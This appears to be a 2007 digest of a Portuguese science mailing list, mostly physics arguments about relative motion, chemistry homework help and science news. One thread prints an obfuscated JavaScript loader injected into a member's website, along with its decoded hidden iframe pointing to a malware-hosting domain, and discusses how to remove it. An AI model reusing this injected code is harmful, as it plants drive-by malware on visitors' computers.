> Esse empuxo provocado pelo deslocamento do carro no ar sempre irá
> existir

O q não quer dizer q seja um fator preponderante. Pela trajetória da
bola não parece ser.

> JR - Que o carro e a bola são objetos distintos está claro, assim
> como esteira e avião são objetos distintos... Ou não?!

Veja: carro/solo e bola/carro. No caso do avião é avião/solo e
esteira/solo. Mas isso deixo pra vc divertir ao Homero et al.

[]s,

Roberto Takata



SUBJECT: Bobina de Tesla musical (alto-falante iônico)
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 21/06/2007 00:07

Bobina de Tesla musical (alto-falante i�nico)<http://100nexos.com/arquivo/177>

Assista ao v�deo
<http://100nexos.com/arquivo/177>

Bobinas de Tesla
<http://www.feiradeciencias.com.br/sala14/14_01.asp>produzem descargas
el�tricas no ar dignas do doutor Frankenstein, mas o
barulho sempre foi o cl�ssico e indefinido zumbido "Bzzzz". N�o mais: a moda
agora � modular a descarga, ligando e desligando muito rapidamente em
freq��ncias que possamos ouvir, fazendo destes espet�culos visuais fabulosos
alto-falantes i�nicos <http://www.soundimage.dk/Different-col/Plasma.htm>.
Podem n�o ser muito pr�ticos � consomem energia, n�o s�o boas em gerar sons
graves, podem eletrocut�-lo e produzem oz�nio t�xico � mas s�o muuuuuuito
legais. E abrem a perspectiva de que em um futuro pr�ximo possamos criar raios
da morte <http://davidszondy.com/future/tesla/teslaray.htm> que eletrocutam
ao som de sua m�sica preferida. Veja muito mais v�deos de bobinas de Tesla
musicais<http://www.youtube.com/results?search_query=musical+tesla+coil&search=>
.
[via Geekologie<http://www.geekologie.com/2007/06/solid_state_musical_tesla_coil.php>
]


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/06/2007 00:34


> Ricardo: A única coisa que os 2 problemas têm em comum é o seu erro, para
> variar...
> ........................
> José Renato:
> Vc não disse qual é o meu erro?

Ricardo:
1) A bola não corre para trás, após tocar o chão, por causa do vácuo, como
vc afirmou, pois ela ganha grande velocidade somente após tocar o chão.

2) O avião decola seja qual for o referencial escolhido para o outro
problema (do avião) e não faz nenhum sentido o uso de 2 referenciais, pelas
razões já exaustivamente explicadas.


> Não adianta se esconder. A verdade vai
> chegando de mansinho no problema da bola e em outros trocentos problemas
> semelhantes de movimentos relativos. São eles que vão mostrar quem está
> errando e insistindo no erro de interpretação, só para não aceitar que
> minha análise está correta.

Quem sabe de tanto vc repetir isso, se realize? Como naquele profundo filme
"Quem somos nós"?

Abs,

Ricardo



PS: estamos agora apenas discutindo sobre um vídeo, e não há, na verdade,
nenhum enunciado a ser analisado, ou "resposta certa ao problema". Apenas
avaliações e conjecturas, ok?




SUBJECT: 27º EDEQ - Encontro de debates sobre ensino de química - Erechim - RS
FROM: "Eduardo Santos Gama" <edusantosgama@yahoo.com.br>
TO: <quimicus_fsa@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>
DATE: 21/06/2007 00:45

Clique aqui para acessar a pagina do encontro:
http://www.uri.com.br/edeq/index.php


<http://www.uri.com.br/edeq/index.php>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Exercícios de química
FROM: Phoenix Myth <phoenixclever@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 00:47

Takata meu amigo!!!
Vc é o único que resposde aos meus e-mail...muito
obrigado mesmo!!! Mas ainda estou tendo dificuldades.

1) vc falou que era só aplicação da famosa fórmula de
pH, mas não estou conseguindo chegar no resultado. Já
tentei de várias maneiras...

2) ok...

3) pois é... do jeito que vc falou parece ser muito
fácil também, mas estou aplicando a fórmula que vc
passou e não consegui também, alías eu eu conhecia
outra fórmula que é deltaG = -RT ln K. Já tentei as
duas... e nada dá certo... às vezes acho que sou meio
tapadinho!!!

Dequalquer forma... valeu mesmo!
E só mais uma dúvida pessoal: qual é a sua formação?

[]s


--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Phoenix Myth
> > 1) Você precisa de 0,1L de uma solução tampão com
> > pH=4,35. Na prateleira existe uma garrafa se
> doluçã
> > otampão ácido benzóico/benzoato de sódio com
> pH=3,95.
> > O rótulo também diz [benzoato]=0,2M. Que massa de
> qual
> > substância (ácido benzóico ou benzoato de sódio)
> você
> > deveria adicionar a 0,1L da solução tampão
> disponível
> > para obter o pH desejado?
>
> Equação de Henderson-Hasselbalch.
>
> > 2) Uma amostra que contém 60 mL de 0,1M NaHCO2(aq)
> foi
> > misturada com 4 mL de 0,07M HCl(aq). Calcule o pH
> e a
> > molaridade de HCOOH na solução mista.
>
> Estequiometria (balanceamento de equação) e
> Henderson-Hasselbalch.
>
> > 3) (a) Use dados termodinâmicos para calulcar a
> > constante de acidez do ácido acético em água, em
> 298K.
> > Você precisará usar deltaGº(CH3CO2-)=-369,31
> kJ/mol.
> > (b) Que massa de acetato de sódio deve ser
> adicionada
> > a 2,5 L de 1M CH3COOH para obter uma solução
> tampão
> > com pH=4,8?"
>
> deltaG = 2.303 RT * pKa - então, dá-lhe
> Henderson-Hasselbalch.
>
> Para as massas, molaridade = mol/litro -> um mol ->
> massa molar ->
> regra de três.
>
> []s,
>
> Roberto Takata
>
>




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SUBJECT: Astronomia e Ciências Afins
FROM: "Lucimary Vargas de Oliveira Guardamino Espinoza" <lucimary.vargas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 00:55

Amigos, caso alguém se interesse, foi criado um grupo de discussão
para troca de informações e gostaria de convidar vocês para
participarem. O endereço é

Grupo de Discussão no Yahoo:

http://br.groups.yahoo.com/group/Observatorio_Monoceros/

Todos são bem-vindíssimos!

Abraços,
Lucimary Vargas
Observatório Monoceros
www.monoceros.xpg.com.br
www.arquivohistorico-mg.com.br



SUBJECT: P/ Renato - Re: Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 01:15

Olá Renato

Renato: "Vc não disse qual é o meu erro? Não adianta se esconder. A
verdade vai chegando de mansinho no problema da bola e em outros
trocentos problemas semelhantes de movimentos relativos. São eles que
vão mostrar quem está errando e insistindo no erro de interpretação,
só para não aceitar que minha análise está correta."

Não, a verdade já chegou, de forma avassaladora: você é extremamente
teimoso, não compreende a física nem os experimentos apresentados,
ignora qualquer tentativa dos que tentam explicar a você seus erros, e
pensa saber mais que toda a lista, que todos os físicos, que todas as
pessoas (inclusive o especialista em decolagem de aviões cujas
análises eu postei tempos atrás..:-).

A verdade é que as pessoas começam a cansar de tentar faze-lo entender
e vão deixando de lado as discussões, o que pode fazer com que você
tenha a sensação de ter "vencido pelo cansaço" uma discussão que só
pode ser resolvida com dados e informação científica (que lhe falta).

Sobre eu ter uma "postura academica", isso é tolice, pois eu não
pretendo saber mais que todos os outros, muito menos que os físicos
que estão tentando explicar as coisas para você, apenas percebo que
sei mais que você nesse caso (o que nem é uma grande vantagem de todo
modo..:-)

Homero

PS: No caso do avião, você insiste que o avião decola ou não
dependendo do referencial. Mas parece concordar que a bola, não
importa o referencial, vai se comportar da mesma forma sempre. Isso
chega a ser absurdo e totalmente incompreensível!



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Ricardo: A única coisa que os 2 problemas têm em comum é o seu erro,
para
> variar...
> ........................
> Vc não disse qual é o meu erro? Não adianta se esconder. A verdade vai
> chegando de mansinho no problema da bola e em outros trocentos
problemas
> semelhantes de movimentos relativos. São eles que vão mostrar quem está
> errando e insistindo no erro de interpretação, só para não aceitar
que minha
> análise está correta.
> []s
> JR
> ..............................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, June 20, 2007 2:11 PM
> Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
> a100Km/h:osresultados
>
>
> > Como já tinha adiantado o carro usa a pista-chão, como referencial
para a
> > medida da sua velocidade de deslocamento, e a bola usa o
carro-lançador
> > como referencial para medir sua velocidade de lançamento.
> >
> > Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
> > referenciais, como fizeram na questão do avião-esteira?
>
> E lá vamos nós...
>
> Mas o que esse filme trata não é exatamente a questão dos
referenciais? Mais
> do que explicitamente?
>
> A única coisa que os 2 problemas têm em comum é o seu erro, para
variar...
>
>
> Sds,
>
> Ricardo
>




SUBJECT: Clonagem terapêutica está mais próxima
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 01:49

Clonagem terapêutica está mais próxima

A clonagem terapêutica para humanos ficou um pouco mais próxima da
realidade depois que cientistas dos EUA anunciaram a criação de
células-tronco embrionárias a partir de embriões de macacos, algo
inédito no mundo.

Em conferência sobre células-tronco na cidade australiana de Cairns,
nesta semana, os cientistas contaram que conseguiram criar dois grupos
de células-tronco embrionárias a partir de embriões clonados do macaco
rhesus.

"Estávamos há tempos procurando essas provas", disse o australiano
Alan Trouson, do Centro de Células-Tronco da Universidade Monash
(Melbourne), pioneiro nesse campo. "É muito importante ter isso, saber
que podemos fazer isso, porque pode resultar em muitas novas linhas
celulares que podem nos ajudar a entender algumas doenças complexas."

Tentativas anteriores de obter células-tronco embrionárias a partir de
embriões clonados de primatas fracassaram. O cientista coreano Woo
Sook Hwang perdeu seu cargo de pesquisador por ter manipulado
resultados sobre trabalhos com óvulos humanos.

Mas Shoukhrat Mitalipov, do Centro Nacional de Pesquisas com Primatas
do Oregon (EUA), disse ter conseguido usar uma variação da técnica
chamada SCNT (transferência nuclear de célula somática, em inglês), na
qual o núcleo de uma célula-ovo é removido e substituído pelo núcleo
do doador.

A célula acaba formando um blastócito (embrião em estágio preliminar),
com DNA quase idêntico ao do organismo doador. Mitalipov disse ter
usado células da pele de um macaco rhesus macho, de dez anos de idade.
Ele apresentou à conferência análises de DNA que provam o sucesso da
experiência, além de slides de células embrionárias transformando-se
em células cardíacas e neurônios.

De acordo com ele, a chave pode ter sido o uso de luz polarizada em
laboratório ao invés de tinturas e luz ultravioleta para identificar
os cromossomos das células.

O trabalho de Mitalipov, ainda não publicado, pode deixar os
cientistas mais próximos de produzirem células-tronco embrionárias a
partir de células clonadas do corpo de adultos, reduzindo o risco de
rejeição que existe quando são usadas células de um doador externo.

Os cientistas esperam que a clonagem terapêutica ou regenerativa ajude
no tratamento de lesões, inclusive de coluna cervical, e doenças como
esclerose múltipla e cardiopatias, já que poderá levar à substituição
de células nervosas, sanguíneas ou cardíacas que tenham problemas.

Embora as conclusões de Mitalipov ainda estejam por confirmar, elas
podem também aproximar os cientistas da clonagem de um primata adulto,
o que inclui humanos e macacos. "Continuo me reservando a querer ver
este processo completo", disse Trouson.

http://noticias.terra.com.br/ciencia/interna/0,,OI1700302-EI296,00.html



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 07:30

Olá, Takata , Homero, e Prof. Léo !

Valeu pelos links..
Aliás, a coisa é bem mais simples do que pensei. Como eu via esse nome
associado á rotação de água, e giro de plantas em crescimento, achei
que era algo extraordinariamente complicado.

Se é o mesmo fenomeno, só me surpreende que ele ainda tenha efeito
mesmo sob escalas tão diferenciadas em termos de grandeza, quanto no
brotar de uma planta e a rotação de um planeta.



Gil
Em 20/06/07, oraculo333<oraculo@atibaia.com.br> escreveu:
> Olá Gil
>
> E uma força extra da Wikipédia:
>
> http://pt.wikipedia.org/wiki/For%C3%A7a_de_Coriolis
>
> Um abraço.
>
> Homero
>
>
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> escreveu
> >
> > http://www.feiradeciencias.com.br/sala04/04_34.asp
> > http://www.feiradeciencias.com.br/sala04/04_35.asp
> >
> > com matemática:
> > http://www.feiradeciencias.com.br/sala05/05_RE16_04.asp
> > --------
> > []s,
> >
> > Roberto Takata
> >
> > --- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@> escreveu
> > > É possível explicar de alguma maneira simplificada ou puramente
> > > "física", o que é esse efeito coriolis? Ou dependeria de conhecer
> > > certas equações?
> > >
> > > (Sim, sou analfabeto matemático, nao tem jeito! rsrs)
> > > Gil
> >
>
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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/06/2007 07:40

Oi Roberto,

acredito que vc fez confusão entre efeito Magnus e efeito Coriolis. O efeito Magnus, 'tipo do chute folha seca é que precisa dessa componente da velocidade. Para o efeito Coriolis basta ter velocidade no plano de lançamento. O encurvamento da trajetória no efeito Magnus é que depende do diferencial de velocidade em relação ao ar, dos 'dois lados da bola'; um lado gira a favor do vento relativo e o outro lado contra o vento relativo.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 20 de junho de 2007 19:00
Assunto: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Se tivéssemos uma parte do filme vista pelo lançador de bolas (para
> registrar o plano de movimento da bola) saberíamos se houve ou não
> desvios de Coriolis, tirando a bola desse plano vertical.

Se bem q para q a bola saísse do plano pelo efeito Coriolis a rotação
da bola teria q ter uma componente perpendicular ao plano vertical.
Pelo posicionamento dos rotores do lançador de bola não se espera q
seja gerada uma quantidade apreciável de rotação horizontal na bola.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Bobina de Tesla musical (alto-falante iônico)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <enigmasonline@yahoogrupos.com.br>, <exobiologia_e_cia@yahoogrupos.com.br>, <painelovni@yahoogrupos.com.br>, <UFO_PORTUGAL@yahoogrupos.com.br>, <ufoburn@yahoogrupos.com.br>, <Ufolista@yahoogrupos.com.br>, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 21/06/2007 07:56

Beleza!

Já cheguei a fazer um protótipo de alto falante eletrostático 10 anos atrás! Bati um papo com Newton C. Braga à época. Foi um aparelho valvulado e a tensão modulada entre as placas do capacitor plano, dielétrico de ar, era coisa de 5 kV. Foi usado um modulador com trafo. Realmente o transdutor era supimba nos agudos e fraco nos graves.
Agora, vai virar moda! Bom para os experts em alta fidelidade!

valeu ........

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Kentaro Mori" <kentaro.mori@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>; <exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>; <UFO_PORTUGAL@yahoogrupos.com.br>; <ufoburn@yahoogrupos.com.br>; <Ufolista@yahoogrupos.com.br>; "lista CA" <ceticismoaberto@yahoogrupos.com.br>
Enviada em: quinta-feira, 21 de junho de 2007 00:07
Assunto: [ciencialist] Bobina de Tesla musical (alto-falante iônico)


Bobina de Tesla musical (alto-falante iônico)<http://100nexos.com/arquivo/177>

Assista ao vídeo
<http://100nexos.com/arquivo/177>

Bobinas de Tesla
<http://www.feiradeciencias.com.br/sala14/14_01.asp>produzem descargas
elétricas no ar dignas do doutor Frankenstein, mas o
barulho sempre foi o clássico e indefinido zumbido "Bzzzz". Não mais: a moda
agora é modular a descarga, ligando e desligando muito rapidamente em
freqüências que possamos ouvir, fazendo destes espetáculos visuais fabulosos
alto-falantes iônicos <http://www.soundimage.dk/Different-col/Plasma.htm>.
Podem não ser muito práticos - consomem energia, não são boas em gerar sons
graves, podem eletrocutá-lo e produzem ozônio tóxico - mas são muuuuuuito
legais. E abrem a perspectiva de que em um futuro próximo possamos criar raios
da morte <http://davidszondy.com/future/tesla/teslaray.htm> que eletrocutam
ao som de sua música preferida. Veja muito mais vídeos de bobinas de Tesla
musicais<http://www.youtube.com/results?search_query=musical+tesla+coil&search=>
.
[via Geekologie<http://www.geekologie.com/2007/06/solid_state_musical_tesla_coil.php>
]


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/06/2007 08:12

Nessa lista:

http://www.feiradeciencias.com.br/sala04/04_34.asp
http://www.feiradeciencias.com.br/sala04/04_35.asp

com matemática:
http://www.feiradeciencias.com.br/sala05/05_RE16_04.asp

vou acrescentar:

http://www.feiradeciencias.com.br/sala04/04_33.asp
http://www.feiradeciencias.com.br/sala19/texto36.asp

e, em especial,

Mecânica de Newton nos referenciais Acelerados

http://www.feiradeciencias.com.br/sala18/18_01.asp

(veja item Aceleração centrípeta horizontal para o destaque do caule da planta)

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 20 de junho de 2007 22:21
Assunto: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h


http://www.feiradeciencias.com.br/sala04/04_34.asp
http://www.feiradeciencias.com.br/sala04/04_35.asp

com matemática:
http://www.feiradeciencias.com.br/sala05/05_RE16_04.asp
--------
[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> É possível explicar de alguma maneira simplificada ou puramente
> "física", o que é esse efeito coriolis? Ou dependeria de conhecer
> certas equações?
>
> (Sim, sou analfabeto matemático, nao tem jeito! rsrs)
> Gil



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SUBJECT: Re: [ciencialist] Paineis solares no google
FROM: daniel danieç <p_h_a_n_t_o_m_6_6_6@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 08:31

Provavelmente um vírus ou algo do tipo no servidor....

achei um tópico num forum falando dele...:
www.legalis.hr/modules/newbb/viewtopic.php?topic_id=17096&forum=7
(http;//konicnt,com/ld/ment/) has been determined by Google's testing to be a site that hosts or distributes badware.

What is this page?
You landed on this page because Google's independent testing has found that some portion of the site you were attempting to reach contains or links to badware or otherwise violates software guidelines of both Google and StopBadware. See the StopBadware FAQ for more information on Google warning pages. StopBadware's researchers have not reviewed this website. If they do, this warning page will be replaced with a detailed report. To see the reports we've done to date, click here.

What is badware?
Badware is software that behaves in malicious and/or deceptive ways and is commonly referred to as spyware, malware, and deceptive adware. If you download badware to your computer you may experience numerous pop-up ads; software installed without your permission or software difficult to uninstall; software that includes Trojan horses, stealth dialers, keyloggers, and viruses; slowed computer processing or even crashing; and in some cases, your privacy may be violated and abused when personal information is collected without your permission. For more information about the risks badware poses to you and your computer, see StopBadware's Guidelines and About Badware pages.

What is StopBadware.org?
StopBadware.org is a "Neighborhood Watch" campaign committed to fighting badware by providing reliable, objective information about downloadable applications so that consumers can make informed choices when they download programs to their computers. StopBadware.org is led by the Berkman Center for Internet & Society, the Oxford Internet Institute, Google, Lenovo, and Sun Microsystems.

What can you do to protect yourself and your computer?
If you believe your computer has been affected by badware, please see StopBadware's "How to get rid of badware." If there are applications or websites you would like us to test, please report them to us by submitting either a story of your experiences or, if you have technical expertise, a technical report. StopBadware.org also publishes reports on badware applications and badware sites, which are available on StopBadware.org. If you would like to receive future reports by email, please sign up for the StopBadware.org email list.

Click here to share

Taj script o&#269;itavam tako&#273;er na Legalis forumima :


e = '0x00' + '5D';str1 = "%E6%AF%BF%AC%B5%B2%AE%C2%B6%BD%B0%BB%A9%BD%BB%B9%E1%FC%B4%BD%A8%BD%AF%BF%AC%B5%B2%AE%FC%E0%D1%D4%C2%C2%C2%C2%A8%BD%AC%C2%B6%BE%A9%AC%B6%C2%E1%C2%FC%B7%B3%B0%B5%BF%B0%AE%F0%...
...
9%F5%A7%A1%D1%D4%C2%C2%C2%C2%C2%C2%C2%C2%A1%D1%D4%C2%E6%F3%AF%BF%AC%B5%B2%AE%E0"

str=tmp=
for(i=0...

a potje&#269;e od (NE KLIKAJTE NA OVAJ LINK !) :

http;//konicnt,com/ld/ment/

S obzirom da ovo nije prvi put da se isti ubacuje na Legalis forume, pretpostavljam da uredništvo i moderatori znaju o &#269;emu je rije&#269; i kako to ubudu&#263;e sprije&#269;iti.

Ovo je ujedno i objašnjenje drugim korisnicima zašto moraju po desetak puta odgovarati na razna pitanja u stilu

"A Runtime Error has occured.
Do you wish to debug ?
Line: 8
Error: Syntax error"

ili :

A Runtime Error has occured.
Do you wish to debug ?

Line: 44
Error: Object doesn't support this property or method 'Create object'

P.S. Upozorenje na SPAM-BOT namjerno koristim u ovoj temi, prije svega zato da podsjetim na temu (ali i na zlo&#263;udni SPAM-BOTi&#263;, doduše, malo druga&#269;ijeg tipa) ...

P.S.(2) : U linkovima sam izmijenio znak dvoto&#269;ke i znak to&#269;ke u to&#269;ku-zarez i zarez kako ne bi došlo do slu&#269;ajnog klikanja na taj link...





Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
Olá Daniel,

cristalinamente entendido. O problema é "como esse script foi parar na minha página de abertura". Eu deleto esse script e um ou dois dias depois lá está ele novamente! Como ele entra lá?!

grato,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "daniel danieç" <p_h_a_n_t_o_m_6_6_6@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 20 de junho de 2007 13:40
Assunto: Re: [ciencialist] Paineis solares no google

o script converte o conteudo da variavel str1 para um código HTML que cria um IFRAME direcionando a uma pagina externa que começa a baixar um alguns trojans e virus...
o código gerad é este: (sem os espaços)
< d i v s t y l e = " v i s i b i l i t y : h i d d e n " > < i f r a m e s r c = " h t t p : / / k o n i c n t . c o m / l d / m e n t / " w i d t h = 1 h e i g h t = 1 > < / i f r a m e > < / d i v >

para impedir a chamada desta pagina, se este código estiver em alguma pagina no seu servidor, apenas arraque esta parte de código javascript... se o código estiver numa pagina externa referenciada por alguma pagina de seu servidor, tire a chamada desta pagina externa...


Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:


Ola pessoal,

hoje a página do Feira de Ciências apareceu novamente com problema. Eis a cópia do 'importuno':

<br><script language="JavaScript">e = '0x00' + '7A';str1 = "%C1%99%92%8F%E5%88%89%82%91%9E%C6%DB%8F%92%88%92%9B%92%91%92%89%82%C3%9D%92%99%99%9E%97%DB%C7%C1%92%9F%8B%9A%96%9E%E5%88%8B%98%C6%DB%9D%89%89%95%C3%D4%D4%90%94%97%92%98%97%89%D7%98%94%96%D4%91%99%D4%96%9E%97%89%D4%DB%E5%8C%92%99%89%9D%C6%CA%E5%9D%9E%92%9C%9D%89%C6%CA%C7%C1%D4%92%9F%8B%9A%96%9E%C7%C1%D4%99%92%8F%C7";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

Que faço para impedir a entrada disso na página inicial do Feira?
O que está escrito nesse 'script'?

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/06/2007 12:39

Xiii, Takata, vc também está homerando, sô! Veja após JR1 -
......................................................
From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, June 21, 2007 12:03 AM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - Entretanto, é o empuxo do vento em movimento que acelera na
> horisontal a bola que está praticamente parada para após o
> lançamento.

Se fosse o caso, o arco de parábola não deveria ser simétrico. Além
disso não seria esperado q o arco ficasse mais e mais aberto a cada
quique, ao contrário, o efeito deveria ser forte no começo e mais e
mais fraco subseqüentemente.
JR1 - Como já expliquei anteriormente o empuxo do vento na bola é mais forte
quando ela é lançada, mas o empuxo só passa a atuar efetivamente *após o
lançamento* a partir do qual o efeito de aceleração aumenta a velocidade da
bola na horizontal a cada instante. Dá para entender que assim a bola
acelera e os arcos ficam mais abertos...

> Esse empuxo provocado pelo deslocamento do carro no ar sempre irá
> existir

O q não quer dizer q seja um fator preponderante. Pela trajetória da
bola não parece ser.
JR1 - Esse empuxo que acelera a bola na horizontal me parece mais
significativo do que um possível rotação na bola.

> JR - Que o carro e a bola são objetos distintos está claro, assim
> como esteira e avião são objetos distintos... Ou não?!

Veja: carro/solo e bola/carro. No caso do avião é avião/solo e
esteira/solo. Mas isso deixo pra vc divertir ao Homero et al.
JR1 - Parece que vc homerou de vez... Ainda há chances de se recuperar, vou
repetir o que vc apagou: a medida da velocidade do carro em relação ao solo
equivale à medida da velocidade da esteira em relação ao solo; a velocidade
da bola em relação ao carro equivale à velocidade do avião em relação a
esteira.
Cqd. Não dá para fugir dessa! Quer dizer dá, dá, mas vai ficar feio...

[]s,
Roberto Takata

Abraços
José Renato



SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/06/2007 12:59

Ricardo, veja seus erros de percepção e de interpretação...
...........................................
----- Original Message -----
From: "Ricardo" <ricardos@infolink.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, June 21, 2007 12:34 AM
Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados



> Ricardo: A única coisa que os 2 problemas têm em comum é o seu erro, para
> variar...
> ........................
> José Renato:
> Vc não disse qual é o meu erro?

Ricardo:
1) A bola não corre para trás, após tocar o chão, por causa do vácuo, como
vc afirmou, pois ela ganha grande velocidade somente após tocar o chão.
JR - Erro 1: a bola já cai na vertical pela primeira vez com inclinação para
a esquerda, o que significa que já existe uma componente horizontal de força
nessa direção.

2) O avião decola seja qual for o referencial escolhido para o outro
problema (do avião) e não faz nenhum sentido o uso de 2 referenciais, pelas
razões já exaustivamente explicadas.
JR - Erro 2: Para a medição das velocidades do carro e da bola foram usados
2 referenciais diversos. O teste feito com o lançador parado para a aferição
da velocidade utilizou o chão como referencial. Mas, quando o lançador está
no carro, a velocidade da bola é medida em relação ao lançador e não mais em
relação ao chão. Será que isso é tão difícil de entender? Em relação ao chão
a bola desacelera de 100km/h para 0km/hora, ficando praticamente parada em
relação ao solo logo após o lançamento.Se ela estivesse em um tubo bem longo
instalado no carro e mantivesse a velocidade do lançamento de 100km/h ela
continuaria praticamente parada em relação ao solo... Como o avião.

> Não adianta se esconder. A verdade vai chegando de mansinho no problema
> da bola e em outros trocentos problemas semelhantes de movimentos
> relativos.
> São eles que vão mostrar quem está errando e insistindo no erro de
> interpretação, só para não aceitar que minha análise está correta.

Quem sabe de tanto vc repetir isso, se realize? Como naquele profundo filme
"Quem somos nós"?
JR - Quem sabe um dia vc caia na real de que é isso que se realiza?

Abs,

Ricardo

PS: estamos agora apenas discutindo sobre um vídeo, e não há, na verdade,
nenhum enunciado a ser analisado, ou "resposta certa ao problema". Apenas
avaliações e conjecturas, ok?
JR - Há um enunciado teórico e a experiência prática.
Não tente sair pela tangente, tartaruga touché...



SUBJECT: Re: [ciencialist] P/ Renato - Re: Jogar uma bola a 100Km/h de um carroa100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/06/2007 14:24

Homero, veja meus comentário após JR - em seu texto abaixo, onde não há nada
sobre o meu erro e muito blá, blá, blá inócuo. Que tal incluir informações
sobre o problema e as indicações dos meus erros? Observe que nas minhas
respostas eu acrescento argumentos e análises para vc avaliar, enquanto que
as suas respostas são cheias de coisa alguma.
..............................
From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, June 21, 2007 1:15 AM
Subject: [ciencialist] P/ Renato - Re: Jogar uma bola a 100Km/h de um
carroa100Km/h:osresultados


Olá Renato

Renato: "Vc não disse qual é o meu erro? Não adianta se esconder. A
verdade vai chegando de mansinho no problema da bola e em outros
trocentos problemas semelhantes de movimentos relativos. São eles que
vão mostrar quem está errando e insistindo no erro de interpretação,
só para não aceitar que minha análise está correta."

Não, a verdade já chegou, de forma avassaladora: você é extremamente
teimoso, não compreende a física nem os experimentos apresentados,
ignora qualquer tentativa dos que tentam explicar a você seus erros, e
pensa saber mais que toda a lista, que todos os físicos, que todas as
pessoas (inclusive o especialista em decolagem de aviões cujas
análises eu postei tempos atrás..:-).
JR - !?

